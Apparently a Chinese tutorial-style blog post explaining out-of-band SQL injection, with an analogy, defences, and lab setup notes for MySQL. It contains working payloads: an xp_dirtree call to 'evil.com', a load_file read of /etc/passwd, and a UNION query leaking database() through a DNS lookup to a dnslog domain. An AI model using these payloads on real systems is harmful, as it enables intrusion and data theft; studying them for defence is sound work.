SQL带外注入

news/2025/2/8 21:48:34 标签: sql, 数据库

SQL 带外注入(Out-of-Band SQL Injection, OOB SQLi) 是 SQL 注入的一种特殊类型,主要用于以下情况:

  • 数据库没有直接返回错误信息(比如被防火墙拦截了)。
  • 无法使用常规注入手法(如 UNION、错误信息等)。
  • 需要数据库主动把数据发给攻击者(比如通过 DNS 或 HTTP 请求)。

简单类比

想象你在一个图书馆(数据库)里找书,但管理员(安全机制)不允许你直接看书的目录(查询结果)。

  • 正常方式:你直接问管理员“有没有《SQL 高手》?”(普通 SQL 查询)。
  • 传统注入:你偷偷加一句“把所有书的名字都告诉我”(常规 SQL 注入)。
  • 带外注入:你留下一个邮箱(类似 DNS 或 HTTP 服务器),让管理员悄悄把书单发到那里。

如何实现 OOB SQL 注入?

OOB SQLi 主要利用数据库支持的外部通信功能,比如:

MSSQL → xp_dirtree、OPENROWSET 可向远程服务器发送请求
MySQL → LOAD_FILE()、OUTFILE 可读写文件
Oracle → UTL_HTTP、DBMS_LDAP 可向外部服务器发送请求
示例(MSSQL 发送 DNS 请求):

sql">; EXEC master.dbo.xp_dirtree '\\evil.com\share'

攻击者搭建 evil.com 服务器,收到请求后,就能确认 SQL 代码被执行了。

如何防范 OOB SQLi?

使用预编译语句(Prepared Statements),避免 SQL 直接拼接用户输入。
限制数据库访问外部网络,防止数据泄露到攻击者控制的服务器。
开启 Web 应用防火墙(WAF),监测和拦截异常 SQL 请求。
简单来说,OOB SQL 注入就是一种数据库偷偷向攻击者汇报信息的手法,如果不加以防范,攻击者可能绕过安全限制,获取敏感数据。

靶场实现带外注入的条件

条件一:

my.ini中secure_file_priv必须为空

  • my.ini 是 MySQL 数据库的配置文件,用来控制 MySQL 的各种行为,比如端口号、数据存储位置、权限设置等。
  • secure_file_priv 是 MySQL 里的一个安全机制,用来限制数据库读写外部文件的能力,防止恶意 SQL 代码滥用 LOAD DATA 和 SELECT INTO OUTFILE 等语句。
show variables like "secure_file_priv"    //在数据库中展示配置文件中相关参数的值

secure_file_priv =			//对文件的导入导出无限制
secure_file_priv = null		//不允许文件导入导出
secure_file_priv = /tmp		//指定文件导入导出限制在/tmp目录下

load_file("/etc/passwd")	//导入
select 1,2,3 into outfile "/tmp/1.txt"	//导出

条件二:

windows环境
UNC路径:windows共享资源的访问方式
\172.23.100.100\abc\

带外,从dnslog看数据
触发dns请求
构造一种域名使得目标发起对域名的解析
通过load_file构造一个远程资源请求
\xxx.xxx.com\1.txt
xxxxxx.vybunimo.com
load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’))

select x,x,x from xxxx where id = ‘1’ union select 1,2, load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’)) #


http://www.niftyadmin.cn/n/5845313.html

相关文章

MVCC机制深度解析

在数据库管理系统中,多版本并发控制(MVCC,Multi-Version Concurrency Control)是一种用于提高数据库并发性能的技术。它通过在同一数据项上存储多个版本,允许事务在读取数据时不必等待其他事务的完成,从而提…

Git(分布式版本控制系统)系统学习笔记【并利用腾讯云的CODING和Windows上的Git工具来实操】

Git的概要介绍 1️⃣ Git 是什么? Git 是一个 分布式版本控制系统(DVCS),用于跟踪代码的变更、协作开发和管理项目历史。 由 Linus Torvalds(Linux 之父)在 2005 年开发,主要用于 代码管理。…

优惠券平台(一):基于责任链模式创建优惠券模板

前景概要 系统的主要实现是优惠券的相关业务,所以对于用户管理的实现我们简单用拦截器在触发接口前创建一个单一用户。 // 用户属于非核心功能,这里先通过模拟的形式代替。后续如果需要后管展示,会重构该代码 UserInfoDTO userInfoDTO new…

leetcode_78子集

1. 题意 给定一个不含有重复数字的数列&#xff0c;求所有的子集。 2. 题解 子集型回溯&#xff0c;可以直接用dfs进行搜索&#xff1b;也可以用二进制来进行枚举。 2.1 选或不选 class Solution { public:void dfs(vector<vector<int>> &ans,vector<i…

日本游戏机市场5年来首次陷入萎缩;特斯拉招人推进人形机器人量产;任天堂专利显示Switch2手柄可用作鼠标...| 游戏智眼日报

美团成立“算法顾问委员会” 美团宣布&#xff0c;近日&#xff0c;由外部专家学者组成的算法顾问委员会成立&#xff0c;为美团改进算法提供常态化咨询和指导。每个季度美团将举办算法恳谈会&#xff0c;持续邀请骑手、商家、用户、专家学者和媒体代表等共同参加。美团表示&a…

flutter Selector 使用

在 Flutter 中&#xff0c;Selector 是 provider 包中的一个组件&#xff0c;用于在状态管理中高效地选择和监听特定部分的状态变化。Selector 可以帮助你避免不必要的重建&#xff0c;只在你关心的数据发生变化时才重建 widget。 基本用法 Selector 的基本用法如下&#xff…

pytest-xdist 进行多进程并发测试

在自动化测试中&#xff0c;运行时间过长往往是令人头疼的问题。你是否遇到过执行 Pytest 测试用例时&#xff0c;整个测试流程缓慢得让人抓狂&#xff1f;别担心&#xff0c;pytest-xdist 正是解决这一问题的利器&#xff01;它支持多进程并发执行&#xff0c;能够显著加快测试…

QUIC 与 UDP 关系

QUIC协议是建立在UDP之上的,这意味着QUIC的数据包实际上是通过UDP传输的。QUIC的设计使其能够利用UDP的特性,同时在其上实现更复杂的功能。以下是QUIC如何体现出其基于UDP的特性,以及QUIC头部字段的详细介绍。 QUIC与UDP的关系 UDP封装:QUIC数据包被封装在UDP数据包中进行…